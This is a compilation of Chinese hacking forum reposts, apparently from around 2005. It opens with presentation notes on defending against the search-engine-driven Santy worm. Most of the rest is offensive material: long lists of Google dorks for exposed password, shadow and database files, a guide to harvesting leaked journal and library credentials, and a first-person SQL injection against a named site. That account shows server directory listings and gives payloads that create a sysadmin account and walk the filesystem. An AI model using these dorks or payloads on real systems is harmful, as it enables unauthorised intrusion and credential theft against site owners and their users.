- http://search.lycos.com/default.asp?lpv=1&loc=searchhp&tab=web&query=%s
测试日期：2005.1.8
Santy Santy蠕虫引出的新问题
如何检测智能蠕虫？
- 不需扫描，流量无明显异常；
- 查询条件的无穷组合；
- 脚本代码的任意变化；
如何防治智能蠕虫？
- IPv6 的抗扫描特性不再适用；
- 封锁搜索引擎？海量信息如何查找；
- 搜索引擎屏蔽？查询合法性的不可判定；
多个搜索引擎卷入
- search.aol.com
- cade.search.yahoo.com
（附图：sql injection worm.bmp）

防范主体
Web 应用提供者
搜索引擎服务提供商
网络运营服务提供商

Web 应用提供者
涉及平台
- Web site
- 应用系统
- 桌面
涵盖人群
- 团体：军队、政府、企业、学校...
- 个人：网管人员、行政人员...
Web 应用提供者防范措施
信息发布的严格审核与责任追查；
- 控制搜索引擎可检索信息内容；
- 关于公司；关于雇员；
利用相关工具进行在互联网进行搜索，如果有信息被滥用，则要求搜索引擎服务提供商删除这些信息；
利用标志文件如：robots.txt ，拒绝搜索引擎，机器人的查询。
周期性的自动检测是否有关于本单位的敏感周期性的自动检测是否有关于本单位的敏感信息在网上被公开；
避免被搜索引擎搜集
动态 URL
动态页面
深层次网站结构

网站监测
代码md5 校验
代码监测系统

Web应用提供者防范措施
停用不必要Web应用；
应用系统版本升级
其他措施：
- 禁用脚本解释器；
- 屏蔽本机对搜索引擎的访问；

搜索引擎服务提供商防范措施
屏蔽特定查询
- 正常使用者也被屏蔽
限制搜索引擎功能
- Cache 侵犯版权
- 可能面临的诉讼
扩展搜索引擎功能
- 检测机制
- 告警机制

扩展搜索引擎功能
入侵检测
- 基于检索条件
- 基于请求频度
异常监测
- 基于页面内容统计
- 基于网站结构变化
- 基于用户行为统计
告警机制
- 本站显著位置
- 相关团体

网络运营服务提供商防范措施
恶意网络流量控制
搜索引擎流量控制
关键服务控制
Goopot
基于 Google支持的honeypot；
根据Google Hacking 检索条件(如GHDB)
构造网站结构、页面；
Google Hacker 在请求某个页面时会发送相当多的客户端信息；
通过统计这些信息研究Google Hacker 的行为；
Goopot Goopot->另类联盟？

防范措施的有效性？
对抗智能
- 蠕虫利用搜索引擎的返回结果构造攻击目标列表，通过利用搜索引擎的智能特性使蠕虫自身具有了智能。这将是以后蠕虫发展的一个趋势，
也将成为搜索引擎门户网站的一个梦魇。
对抗查询
- google 目前已经屏蔽了santy 蠕虫发出的查询请求，但如果santy santy蠕虫的变种利用其他搜索引擎构造攻击目标列表，则蠕虫可以继续
传播； santy 蠕虫的变种针对google 屏蔽也可以构造合理查询，正如病毒的不可判定性，查询请求是否合法也是不可判定的。
执行环境
- santy 蠕虫利用了perl 解释器，如果系统没有解释器，如果系统没有perl 解释器，则蠕虫无解释器，则蠕虫无法工作。但phpBB 系统是需
要php 解释器支持的，如果santy 蠕虫利用php 解释器，将造成更大的麻烦；
攻击效果
- 很少的国内phpBB论坛deface，主要的原因应该是国内的大多论坛在 google上的 pagerank比较低，从而不在蠕虫查询的返回结果中，并不
是安全方面做得更好。蠕虫的查询条件设计的相对简单，如果增加中文字符在查询条件里，效果将明显不同。
Internet 的悖论
管理员的工具=黑客的武器
用户的便利=黑客的捷径
越高效=越危险
...
维护 Internet安全
是大家共同的责任


[转载]google搜索语句

文章作者：不详信息
来源：邪恶八进制信息安全团队
"A syntax error has occurred" filetype:ihtml
"access denied for user" "using password"
"Chatologica MetaSearch" "stack tracking:"
"Index of /backup"
"ORA-00921: unexpected end of SQL command"
"parent directory " /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory " Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
"parent directory "Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
?intitle:index.of? mp3 name
allintitle:"Network Camera NetworkCamera"
allinurl: admin mdb
allinurl:auth_user_file.txt
intitle:"live view" intitle:axis
intitle:axis intitle:"video server"
intitle:liveapplet
inurl:"ViewerFrame?Mode="
inurl:axis-cgi/jpg
inurl:axis-cgi/mjpg (motion-JPEG)
inurl:passlist.txt
inurl:view/index.shtml
inurl:view/indexFrame.shtml
inurl:view/view.shtml
inurl:ViewerFrame?Mode=Refresh
liveapplet
!Host=*.* intext:enc_UserPassword=* ext:pcf
" -FrontPage-" ext:pwd inurl:(service | authors | administrators | users)
"A syntax error has occurred" filetype:ihtml
"About Mac OS Personal Web Sharing"
"access denied for user" "using password"
"allow_call_time_pass_reference" "PATH_INFO"
"An illegal character has been found in the statement" -"previous message"
"ASP.NET_SessionId" "data source="
"AutoCreate=TRUE password=*"
"Can't connect to local" intitle:warning
"Certificate Practice Statement" inurl:(PDF | DOC)
"Chatologica MetaSearch" "stack tracking"
"Copyright (c) Tektronix, Inc." "printer status"
"detected an internal error [IBM][CLI Driver][DB2/6000]"
"Dumping data for table"
"Error Diagnostic Information" intitle:"Error Occurred While"
"error found handling the request" cocoon filetype:xml
"Fatal error: Call to undefined function" -reply -the -next
"Generated by phpSystem"
"generated by wwwstat"
"Host Vulnerability Summary Report"
"HTTP_FROM=googlebot" googlebot.com "Server_Software="
"IMail Server Web Messaging" intitle:login
"Incorrect syntax near"
"Index of /" +.htaccess
"Index of /" +passwd
"Index of /" +password.txt
"Index of /admin"
"Index of /mail"
"Index Of /network" "last modified"
"Index of /password"
"index of /private" site:mil
"index of /private" -site:net -site:com -site:org
"Index of" / "chat/logs"
"index of/" "ws_ftp.ini" "parent directory"
"Installed Objects Scanner" inurl:default.asp
"Internal Server Error" "server at"
"liveice configuration file" ext:cfg
"Login - Sun Cobalt RaQ"
"Mecury Version" "Infastructure Group"
"Microsoft (R) Windows * (TM) Version * DrWtsn32 Copyright (C)" ext:log
"More Info about MetaCart Free"
"Most Submitted Forms and Scripts" "this section"
"mysql dump" filetype:sql
"mySQL error with query"
"Network Vulnerability Assessment Report"
"not for distribution" confidential
"ORA-00921: unexpected end of SQL command"
"ORA-00933: SQL command not properly ended"
"ORA-00936: missing expression"
"pcANYWHERE EXPRESS Java Client"
"phone * * *" "address *" "e-mail" intitle:"curriculum vitae"
"phpMyAdmin MySQL-Dump" "INSERT INTO" -"the"
"phpMyAdmin MySQL-Dump" filetype:txt
"phpMyAdmin" "running on" inurl:"main.php"
"PostgreSQL query failed: ERROR: parser: parse error"
"Powered by mnoGoSearch - free web search engine software"
"powered by openbsd" +"powered by apache"
"Powered by UebiMiau" -site:sourceforge.net
"produced by getstats"
"Request Details" "Control Tree" "Server Variables"
"robots.txt" "Disallow:" filetype:txt
"Running in Child mode"
"sets mode: +k"
"sets mode: +p"
"sets mode: +s"
"Supplied argument is not a valid MySQL result resource"
"Supplied argument is not a valid PostgreSQL result"
"Thank you for your order" +receipt
"This is a Shareaza Node"
"This report was generated by WebLog"
"This summary was generated by wwwstat"
"VNC Desktop" inurl:5800
"Warning: Cannot modify header information - headers already sent"
"Web File Browser" "Use regular expression"
"xampp/phpinfo
"You have an error in your SQL syntax near"
"Your password is * Remember this for later use"
aboutprinter.shtml
allintitle: "index of/admin"
allintitle: "index of/root"
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
allintitle: sensitive filetype:doc
allintitle:\"Test page for Apache Installation\"
allintitle:admin.php
allinurl:"/*/_vti_pvt/" | allinurl:"/*/_vti_cnf/"
allinurl:admin mdb
allinurl:auth_user_file.txt
allinurl:servlet/SnoopServlet
An unexpected token "END-OF-STATEMENT" was found
camera linksys inurl:main.cgi
Canon Webview netcams
Comersus.mdb database
confidential site:mil
ConnectionTest.java filetype:html
data filetype:mdb -site:gov -site:mil
eggdrop filetype:user user
ext:conf NoCatAuth -cvs
ext:pwd inurl:(service | authors | administrators | users) "# -FrontPage-"
ext:txt inurl:unattend.txt
filetype:ASP ASP
filetype:ASPX ASPX
filetype:BML BML
filetype:cfg ks intext:rootpw -sample -test -howto
filetype:cfm "cfapplication name" password
filetype:CFM CFM
filetype:CGI CGI
filetype:conf inurl:psybnc.conf "USER.PASS="
filetype:dat "password.dat
filetype:DIFF DIFF
filetype:DLL DLL
filetype:DOC DOC
filetype:FCGI FCGI
filetype:HTM HTM
filetype:HTML HTML
filetype:inf sysprep
filetype:JHTML JHTML
filetype:JSP JSP
filetype:log inurl:password.log
filetype:MV MV
filetype:pdf "Assessment Report" nessus
filetype:PDF PDF
filetype:PHP PHP
filetype:PHP3 PHP3
filetype:PHP4 PHP4
filetype:PHTML PHTML
filetype:PL PL
filetype:PPT PPT
filetype:PS PS
filetype:SHTML SHTML
filetype:STM STM
filetype:SWF SWF
filetype:TXT TXT
filetype:XLS XLS
htpasswd / htpasswd.bak
Index of phpMyAdmin
index of: intext:Gallery in Configuration mode
index.of passlist
intext:""BiTBOARD v2.0" BiTSHiFTERS Bulletin Board"
intext:"d.aspx?id" || inurl:"d.aspx?id"
intext:"enable secret 5 $"
intext:"powered by Web Wiz Journal"
intext:"SteamUserPassphrase=" intext:"SteamAppUser=" -"username" -"user"
intitle:"--- VIDEO WEB SERVER ---" intext:"Video Web Server" "Any time & Any where" username password
intitle:"500 Internal Server Error" "server at"
intitle:"actiontec" main setup status "Copyright 2001 Actiontec Electronics Inc"
intitle:"Browser Launch Page"
intitle:"DocuShare" inurl:"docushare/dsweb/" -faq -gov -edu
intitle:"EverFocus.EDSR.applet"
intitle:"Index of" ".htpasswd" "htgroup" -intitle:"dist" -apache -htpasswd.c
intitle:"Index of" .bash_history
intitle:"Index of" .mysql_history
intitle:"Index of" .mysql_history
intitle:"Index of" .sh_history
intitle:"Index of" cfide
intitle:"index of" etc/shadow
intitle:"index of" htpasswd
intitle:"index of" intext:globals.inc
intitle:"index of" master.passwd
intitle:"index of" members OR accounts
intitle:"index of" passwd
intitle:"Index of" passwords modified
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"Index of" pwd.db
intitle:"index of" spwd
intitle:"Index of" spwd.db passwd -pam.conf
intitle:"index of" user_carts OR user_cart
intitle:"Index of..etc" passwd
intitle:"iVISTA.Main.Page"
intitle:"network administration" inurl:"nic"
intitle:"OfficeConnect Cable/DSL Gateway" intext:"Checking your browser"
intitle:"remote assessment" OpenAanval Console
intitle:"Remote Desktop Web Connection" inurl:tsweb
intitle:"switch login" "IBM Fast Ethernet Desktop"
intitle:"SWW link" "Please wait....."
intitle:"teamspeak server-administration
intitle:"TUTOS Login"
intitle:"VMware Management Interface:" inurl:"vmware/en/"
intitle:"Welcome to the Advanced Extranet Server, ADVX!"
intitle:"Welcome to Windows 2000 Internet Services"
intitle:"Connection Status" intext:"Current login"
intitle:"inc. vpn 3000 concentrator"
intitle:asterisk.management.portal web-access
intitle:dupics inurl:(add.asp | default.asp | view.asp | voting.asp) -site:duware.com
intitle:index.of administrators.pwd
intitle:index.of cgiirc.config
intitle:Index.of etc shadow site:passwd
intitle:index.of intext:"secring.skr"|"secring.pgp"|"secring.bak"
intitle:index.of master.passwd
intitle:index.of passwd passwd.bak
intitle:index.of people.lst
intitle:index.of trillian.ini
intitle:Novell intitle:WebAccess "Copyright *-* Novell, Inc"
intitle:opengroupware.org "resistance is obsolete" "Report Bugs" "Username" "password"
intitle:open-xchange inurl:login.pl
inurl:":10000" intext:webmin
inurl:"8003/Display?what="
inurl:"auth_user_file.txt"
inurl:"GRC.DAT" intext:"password"
inurl:"printer/main.html" intext:"settings"
inurl:"slapd.conf" intext:"credentials" -manpage -"Manual Page" -man: -sample
inurl:"slapd.conf" intext:"rootpw" -manpage -"Manual Page" -man: -sample
inurl:"ViewerFrame?Mode="
inurl:"wvdial.conf" intext:"password"
inurl:"wwwroot/
inurl:/Citrix/Nfuse17/
inurl:/db/main.mdb
inurl:/wwwboard
inurl:access
inurl:admin filetype:db
inurl:asp
inurl:buy
inurl:ccbill filetype:log
inurl:cgi
inurl:cgiirc.config
inurl:chap-secrets -cvs
inurl:config.php dbuname dbpass
inurl:data
inurl:default.asp intitle:"WebCommander"
inurl:download
inurl:file
inurl:filezilla.xml -cvs
inurl:forum
inurl:home
inurl:hp/device/this.LCDispatcher
inurl:html
inurl:iisadmin
inurl:inc
inurl:info
inurl:lilo.conf filetype:conf password -tatercounter2000 -bootpwd -man
inurl:list
inurl:login filetype:swf swf
inurl:mail
inurl:midicart.mdb
inurl:names.nsf?opendatabase
inurl:new
inurl:nuke filetype:sql
inurl:order
inurl:ospfd.conf intext:password -sample -test -tutorial -download
inurl:pages
inurl:pap-secrets -cvs
inurl:passlist.txt
inurl:passwd filetype:txt
inurl:Proxy.txt
inurl:public
inurl:search
inurl:secring ext:skr | ext:pgp | ext:bak
inurl:shop
inurl:shopdbtest.asp
inurl:software
inurl:support
inurl:user
inurl:vtund.conf intext:pass -cvs s
inurl:web
inurl:zebra.conf intext:password -sample -test -tutorial -download
LeapFTP intitle:"index.of./" sites.ini modified
POWERED BY HIT JAMMER 1.0!
signin filetype:url
site:ups.com intitle:"Ups Package tracking" intext:"1Z ### ### ## #### ### #"
top secret site:mil
Ultima Online loginservers
VP-ASP Shop Administrators only
XAMPP "inurl:xampp/index"


google的暴库分析
文章作者：zhouzhen
信息来源：http://zhouzhen.blogchina.com/
google 的暴库早不是什么新鲜技术了, 网络上很多站点都有动画下载. 为了照顾下读者, 我还是在说一下了. 方法很简单在google 上搜索关键字 Server.MapPath("article.mdb") , 其中()里的可以换成其他的, 比如说 admin.mdb 或者其他的一些路径.
哈哈. 在google的搜索结果中, 你可以清楚的看见数据库的路径. 类似
<% Set Cnn = Server.CreateObject("ADODB.Connection") set rs = Server.CreateObject("
ADODB.recordset") StrCnn = "Provider = Microsoft.Jet.OLEDB.4.0; Data Source=" &
Server.MapPath("article\article.mdb") Cnn.Open StrCnn %> <%Set Cnn1 = Server. ...
在浏览器里输入数据库地址就可以下载了.
按照我的理解, 这不应该叫做暴库. 比如说我想暴 xx 网站的数据库, google 能行吗? 几率是很小的,基本上是不可能的.大多数文章就讲到这里了, 对于原理都没讲的很清楚.这里涉及到搜索引擎等其他相关内容.我对google的暴库, 也存在这疑问, 为什么google 就能够搜索到这些信息呢.
经过分析终于弄明白了, 原理是网页的源码里的内容!
像上面的url 源码里是这么写的.
<%
Set Cnn = Server.CreateObject("ADODB.Connection")
set rs = Server.CreateObject("ADODB.recordset")
StrCnn = "Provider = Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("article\article.mdb")
Cnn.Open StrCnn
%>
<%Set Cnn1 = Server.CreateObject("ADODB.Connection")
set rs1 = Server.CreateObject("ADODB.recordset")
StrCnn1 = "Provider = Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("trade\article.mdb")
Cnn1.Open StrCnn1
%>
<%Set Cnn2 = Server.CreateObject("ADODB.Connection")
set rs2 = Server.CreateObject("ADODB.recordset")
StrCnn2 = "Provider = Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("zanhui\article.mdb")
Cnn2.Open StrCnn2
rs2.maxrecords = 1
%>
<%
Set Cnn3 = Server.CreateObject("ADODB.Connection")
set rs3 = Server.CreateObject("ADODB.recordset")
StrCnn3 = "Provider = Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("guestbook\lib.mdb")
Cnn3.Open StrCnn3
%>
我晕, 真不知道这些人是怎么写asp 的. 一个 include 就能解决的问题, 非要写成这样. 分析下....我们在判断请求的网页是否有我们所需要的内容的时候,也是用 一个 recv 函数来接受服务器返回的内容, 读的也是网页源码, 然后用正则表达式匹配下, google 大概也是这样吧.而在<% %>里的内容在网页里是看不见的, 然后就造成了暴库的假像. 数据库的路径就在网页源码里写着, 根本不用像动画里的一样, 盲目的试数据库路径, 命中率几乎百分之百.当然看人家都把路径告诉你了, 这还会搞错路径? ^_^
google的功能实在是太强大了, 有兴趣的可以和我交流,这篇文章完全是我个人的理解. 有什么错误欢迎指出


google 的特殊用法！
文章作者：otc0735
信息来源：http://ifstar.net/bbs/read.php?tid=79587&fpage=1
实际上用google检索密码非常的容易，就像一个朋友曾经讲的，设定检索关键词非常重要，我的经验有以下几点，与大家交流：
1 任何想查的+password（注意 +号不打），而且PASSWORD在西文中都是相同的，不会漏检，不像username有很多词能够替代，比如userID，userlogin等等。
2 在查到初步结果后，用google的高级检索，具体设定每页的检索结果，然后用IE页面上的编辑→查找→“PASSWORD”，可以大大提高检索效率。
3 最关键的是主题词设定，这里还是强调不要仅仅用刊物名+password查，会漏掉很多宝贝。以前已经讲过要用“medicine journal password”，“medicine databases password”，“health journal/databases password”，“medical e-journal password”，“medicine e-resourse password”或者直接用“Ovid journal password ”“proquest password”“ebsco password”等等来查。
5 上述方法就是高手常用的一般方法，有的朋友还用别人找到的密码反查，也有很好的效果，这种窍门应该值得提倡。
6 实际上如此检索仍有漏洞，因为西方文献检索的书目编排与中文不同，很多我们认为天经地义属于医学的类目不在“medicine”下，因此造成漏检，比如护理、精神病以及生物学往往自成体系，与“medicine”并列，因此除了上述检索式外，还应该用“. ..... password”查,这里仍然卖个关子,实际上聪明人已经知道该怎样去做了.
7 当然还有其他更绝的方法,留待以后再讲吧.
首先声明，这只是我自己的经验，不一定适合大家。
找期刊或数据库密码，当然http://www.google.com/，就用“期刊名（数据库）+password”就可以了，通常username有很多形式，比如“username”“useraccount”“useer ID”等等，只有password不变，因此上述方法就可以了。注意在google页面上进入高级检索，对上述检索式进一步修订，通常google只分页显示800个条目，这已经够你找的了，一般每次你用不同的检索式都会有惊喜。
上述方法能够很快使你成为中级战友的，而且越来越不用求人。我想这是很多中级战友的共同体会，这也是我为什么讨厌有的新手一进来就嚷嚷要密码，自己没有试过最好试完以后再说。
当学会这种方法以后，实际上你会越来越迷上找密码，有些朋友公布的密码和另一些人重复就不足为奇了。
至于用代理服务器甚至hecker软件，并不足取，也没必要，但代理服务器的好处是一旦拥有，别无所求，可以一劳永逸的“吃饱吃好”，再无密码失效的烦恼。
先到这里，我还要到中级论坛发一个重要的数据入口，当然是用上面的方法找的。
继续我们之前的话题：
1 千万重视在检索密码时的某些PDF格式文件，常常有惊人的发现，我有两个密码就是通过这种方法查到的，赶紧下载阅读PDF阅读软件吧。
2 很多朋友在查密码的时候会发现非英语国家的图书馆密码，这就是目前的现状——欧洲国家的文明与科学开化程度决定的。因此如果你进入到一个非英语的图书馆，要学会用当时页面某些词作为关键词回到GOOGLE检索，会有发现的，举例说明MEDICINE在德文 或丹麦语中为“MEDIZINE”。
3 强调对检到的网页不要轻言无效，由于GOOGLE的时效性，某些页面已经被调整了，因此如果高度怀疑会有密码的话，一定要勤于研究。这也是为什么我不愿意随便公开密码，或痛恨随便泄露密码的原因，因为这是艰苦搜索换来得。
4 说来说去，检索密码的关键在于检索词，目前的引擎技术或搜索引擎没有大的区别，就我的经验来看，GOOGLE是首选，因为其页面明确标明PASSWORD，易于快速寻找，不象某些引擎。
通过检索发现国外的密码公布在94~2001上半年是比较多的，前期连数据库都有，后期以个别期刊的密码为主，也就是说数据库的管理越来越严，入口限制的很厉害，看来未来的发展应该是以期刊入口为主了。这方面还是应该有所准备的好。
台湾/南韩的密码好象很容易得到，真正好用的也不少，但我以前比较轻视台湾/南韩，这一点，FRIEND88作的非常好，向他祝贺！
大家请看以下内容（来http://libinfo.uark.edu/eresources/eresources.asp ）就知道以前我所说的不虚，与医学有关的都在Science & Technology 大条目下，又细分为：
Agriculture & Food | Biology | Botany | Chemistry | Computer Science | Engineering | Environmental Dynamics | Geology | Kinesiology | Mathematics | Medicine | Nursing | Physics | Psychology | Statistics | Zoology。
因此如果仅以medicine检索，就会漏掉不少很有价值的信息，特别是漏掉的专业的，损失惨重也。
我曾用过的密码检索词
medicine journal ID pw
chemWEB.COM PASSWORD
Virtuelle Bibliothek PASSWORD
“Online Full Text Resources password”
“health sciences library password ”
“OvidLWW password”
“medizin bibliothek password”
“medizin Volltext password”
“medizin literatur password”
“health ejournals password ”
“medizin elektronik password”
Medizin Bibliothek Datenbank Benutzername Kennwort
medicina BIBLIOTECA password
médecine PéRIODIQUES éLECTRONIQUES password
health ejournals password
American Journal of Medicine OnLine FULL TEXT Journals username password
medicine journal fulltext username
大家如果有兴趣可参考我以前的贴子，自设关键词，在GOOGLE上检索，慢慢的就明白原来如此简单、有趣...艰苦、吐血...
A GOOD NETSITE
http://www.tcd.ie/Library/People/Mark.Walsh/JournalA.html
http://210.119.137.155/journal/journal_main_06.html
http://www.galaxyofhealth.com/journals.html
http://www.hamdenlibrary.org/reference.html
和多朋友都知道“medicine journal username password”....或者进一步扩充上述检索词，能够找到很多有价值的地址。
实际上有一种窍门，可以减少工作量：
既然我们在找全文杂志密码，那么有全文网址的地方一定会登载一些医学界经典杂志，比如新英格兰、自然等杂志的密码和用户名，我们只要用一本经典杂志名+username password就能事半功倍，例如：
username password "American Heart Journal"
就能大有收获，如果再对上述检索式修饰一下，比如：
username password "American Heart Journal" site:ac.jp
就将检索范围限制在日本的大学中（建议少用ac,直接用site:jp就行）
tips:
1. 注意，日本和韩国图书馆多用“userid password”或“USERID PWD”，这一点要注意。
2. 上面提到的检索式中，那个“经典杂志”的选择很重要，不要用自然或新英格兰医学，要用美国心脏杂志、美国妇产科杂志...你选择什么杂志与你的检索收获成正比，如果幸运的话，能够有惊人发现，包括ovid以及目前肯定没有被公开的全文密码站点！！！
3. 上述检索式还能够对时间进行限制，更减少工作量。
4. 杂志名一定要用双引号！
http://www.bcrp.pcarp.usp.br/recursos_onlineB-D.htm
www.unicaen.fr/unicaen/service/scd/periodiques-integral.htm
http://www.acta.nl/page_nl.asp?pid=26
http://lib.ghil.com/ej/c.htm 站内有很多杂志，而且链接也作的非常精美！值得推荐，但是这些都掩饰不住其中的奥妙：
凡是杂志倩影旁边有绿色笔记本样标记，就代表“fulltext”，将鼠标放在该杂志上，就会显示出杂志的用户名与密码！试一试吧！
www.lib.nctu.edu.tw/n_service/joulist.htm
http://216.239.33.100/search?q=c ... =zh-CN&ie=UTF-8
http://goserv.iis.sinica.edu.tw/LIB/USERS/sevena.html
目前经过验证,最简单有效的密码检索式应该是:
"medicine journal password OR pw OR pwd "american heart journal" -telnet -forget -forgot -required"
说明:以上检索在GOOGLE中进行
1. 检索目的在于查找能够提供绝大多数医学杂志的username password的网页,通常医学核心杂志没有不是带有"医学杂志"称谓的,故选择american 和journal.
2. "password OR pw OR pwd" 在于password是password的衍生(当然还有一两个,这里保密),绝大多数不会超过这三个词,不像username 有user name\user login\userlogin\accunt\nickname\userid\user ID...等等衍生.不利于精检.
3. "American Heart Journal"则仁者见仁,智者见智,也可以选其他最知名杂志名称,大大提高检出率,并显著减少工作量.
4 -TELNET 代表删去带有telnet的页面,因为很多医学站点提供的telnet根本永不上,常常与期刊杂志混淆.其他删减原因自明.
5. 当然你还可以增删,包括限定时间,国家,语言,或加入语法.


入侵语法整理
信息来源：http://www.cnsu.org/
http://www.cnsu.org-->site/
http://www.cnsu.org-->inurl/
admin-->inurl
.asp ――》filetype
标题――》intitle
页面文字――》intext
页面编号――》numeange

- 逻辑非，“A-B”表示包含A没有B的网页
*代表单个字符
| or操作
“”用短语做关键字，必须加上引号，不然会被当作与操作
.空格
Google对一些网路上出现频率极高的英文单词，如“i”、“com”、“www”等，以及一些符号如“*”、“.”等，作忽略处理
可以用＋强制搜索
下面的语句是我搜集来的,大家可以试着用下
比如用Intitle:welcome.to.iis.4.0 IIS4会找到好多winNT的主机,呵呵
Site:sohu.com
Site:sohu.com-site:http://www.sohu.com/
Intitle:index.of/admin
Intitle:index.of apache server.at
Intitle:test.page.for.apache “it workd”
Allintitle:Netscape Fasr Track Server Home Page
Intitle:”welcome to windows 2000 internet services”
IIS—win2000
Allintitle:welcome to windows XP server internet
services iis---XP
Intitle:welcome.to.iis.4.0 IIS4
Allintrtle:”welcome to internet information server”
IIS-- generic
Intitle:”apache http server”
Intitle:”documentation”
Intitle:””error using hypernews””server software”
“HTTP_USER_AGENT=Googlebot”
“HTTP_USER_AGENT=Googlebot”TNS_ADMIN
Inurl:/admin/login.asp
Intitle:”remote desktop wen connection”
“welcome to *” “Your password is *”
Inurl(browse|top_rated|power_search|hot|create_admin_user)+”powered
by inde xu”
“adding new user” inurl:addnewuser –“there are no
domain”
Filetype:log inurl:”password.log”
Intitle:”PHP Shell *” “enable stderr” filetype:php
Intitle:confixx login password
“powered by rover”
Inurl:iisadmpwd
Inurl:5800
“VNC desktop” inurl:5800
Inurl:webmin inurl:10000
Inurl:8080 –intext:8080
“access denird for user” “using password”
“# Dumping data for table”
“# Dumping data for table” username password
“# Dumping data for table
(username|user|users|password)”
Inurl:main.php welcome to phpmyadmin
Intitle:”phpmyadmin running on *” welcome to phpmyadmin
Filetype:inc intext:mysql connect
Filetype:sql + “INENTIFIED BY” –cvs
Filetype:sql + “INENTIFIED BY” (“grant * on *” | “create
user”)
“this report lists” “identified by internet scaner”
ACID “by roman danyliw” Filetype:PHP
小提示：用google　hacking工具搜索这些，真的是多快好省啊:)


[转载]中国某某网漏洞 MSSQL Injection

文章作者：xu520
之所以要写这样一文章，是觉得国内网站，真得作得不够安全，当然只是菜菜的我一点小的想法，呵呵。[第一次写文章]多多指教。
国内ASP网站，很多。如果我说得没有错的话，90%可以注入。[如果我错了，我想也有100%可以注入了]呵呵。直接进入主题。
无意来到中国##网，试了一下在后缀加个逗号。返回"处理 URL 时服务器出错。请与系统管理员联系。"呵呵。[注入是通过构造精心的查询语句，再根据WEB返回的信息来判断数据库中的信息]
我不想手工了，如果有人想手工的话，呵呵，也能算作是高手了，我不想浪费青春，呵呵
用啊D了

啊D返回一个可以注入点[http://www.####.com/dh/hf_flash_lx.aspx?lx=2]；
经过一个简单的检测，
[and 1=(select IS_MEMBER('db_owner'));-- //判断数据库连接帐号权限]
[and 1=(select @@VERSION)-- //获得服务器信息,版本号 ]
[and 'sa'=(select System_user)-- //连接用户是否SA ]
[and%200<>user-- //查看用户权限 ]
（当然啊D还返回了一个注入点，在检测中，要多试一些可注入目录，可能有新的收获）
SQLSERVER 信息：
多句执行：支持
子查询：支持
当前用户：DBO
用户权限：SA
当前库：DH
存在数据库：master tempdb model msdb pubs ...
瞧瞧C盘：
c:\ 的目录
2004-12-03 12:06 1,024 .rnd
2004-11-06 14:28 0 AUTOEXEC.BAT
2004-11-06 14:28 0 CONFIG.SYS
2005-01-02 03:59 <DIR> data_bk
2004-11-06 14:34 <DIR> Documents and Settings
2004-12-03 14:24 <DIR> Downloads
2005-01-08 11:21 0 NB_Commander_Txt.log
2004-11-06 16:31 <DIR> NVIDIA
2004-12-03 13:49 <DIR> Program Files
2004-12-03 12:11 <DIR> Raptor
2005-01-04 15:41 91,275 ServerNamespace.xml
2005-01-08 10:39 0 siweb_cmd.log
2005-01-05 10:56 808 sys.log
2004-12-31 21:42 <DIR> WINDOWS
2004-12-28 15:35 <DIR> wmpub
7 个文件 93,107 字节
8 个目录 1,578,176,512 可用字节
再瞧瞧D盘：
驱动器 D 中的卷是 server
卷的序列号是 1C13-E360
D:\ 的目录
2004-03-31 17:39 <DIR> 2000server安装
2004-05-23 15:57 <DIR> 4.0.4.1
[意外数据]
2004-08-04 10:11 <DIR> aida1
2001-01-17 16:57 2,185 CFGQUIET.INI
2004-11-05 19:09 <DIR> Config.Msi
2004-11-02 14:55 <DIR> CopyLock
2004-06-10 12:33 <DIR> DATA
2004-12-31 21:13 <DIR> dh
2004-05-02 14:23 <DIR> dh1
2004-06-07 12:22 19,148,288 dh_20040507
2004-05-26 20:20 22 dh_zs_1.zip
2005-01-08 10:51 2,097 disonbbs7sp2.asp
2004-05-25 11:38 1,065,472 dm
2004-05-17 14:24 4,845,417 dm.zip
2004-03-31 11:54 <DIR> dreamboot
2004-12-03 23:29 <DIR> dvbbs7.0.0_Ac(1)
2004-07-02 03:36 2,060,737 dvbbs7.0.0_Ac(1).exe
2004-04-25 18:32 <DIR> dvbbs7.0.0_Ac1
2004-04-25 17:13 281,244 dvbbs7.0.0_sp2_up.exe
2004-05-31 07:01 1,663,938 fg160a.exe
2001-09-25 22:29 2,239,624 fpse02_x86_CHS.exe
2004-03-19 16:03 <DIR> JMail4.2Pro
2004-07-15 09:48 4,584,960 job
2004-05-24 15:16 0 MSI2C.tmp
2004-09-27 15:01 <DIR> MSI98e2a.tmp
2004-11-05 17:43 <DIR> MSIe8e33.tmp
2004-03-22 16:04 <DIR> office11_fp_chs
2004-03-22 16:01 389,740,544 office11_fp_chs.ISO
2004-11-06 16:53 <DIR> Program Files
2004-09-09 16:40 <DIR> recover
2004-11-28 03:27 9,092,234 rhcity_bk.rar
2004-03-03 11:18 <DIR> seru
2004-11-05 12:52 <DIR> Serv-U
2003-07-24 11:15 156,706,368 setup.exe
2002-06-07 10:29 <DIR> sharept
2004-12-03 17:56 <DIR> soft
好点好玩。郁，一个网页设计不错的网站*—*—*
;exec master.dbo.sp_addlogin xu520;-- //加一个xu520的SQL帐号,密码为空
;exec master.dbo.sp_password null,xu520,xu520;-- //把xu520的密码改为xu520
;exec master.dbo.sp_addsrvrolemember xu520 sysadmin;-- //把xu520用户加到sysadmin组里去[返回正常，说明成功]
以上都是偷别人苦苦构造的查询语句，在此谢谢前辈。
也可以在数据库建一个表，把你要想查询内容拷贝进这个表，再把表的内容显示出来。
遍历目录的方法：
create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
//建立一个叫temp的表
insert temp exec master.dbo.xp_availablemedia;
// 获得当前所有驱动器,并写入temp表中
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\www',1;--
//获得C盘目录下的目录,并写如temp表
insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
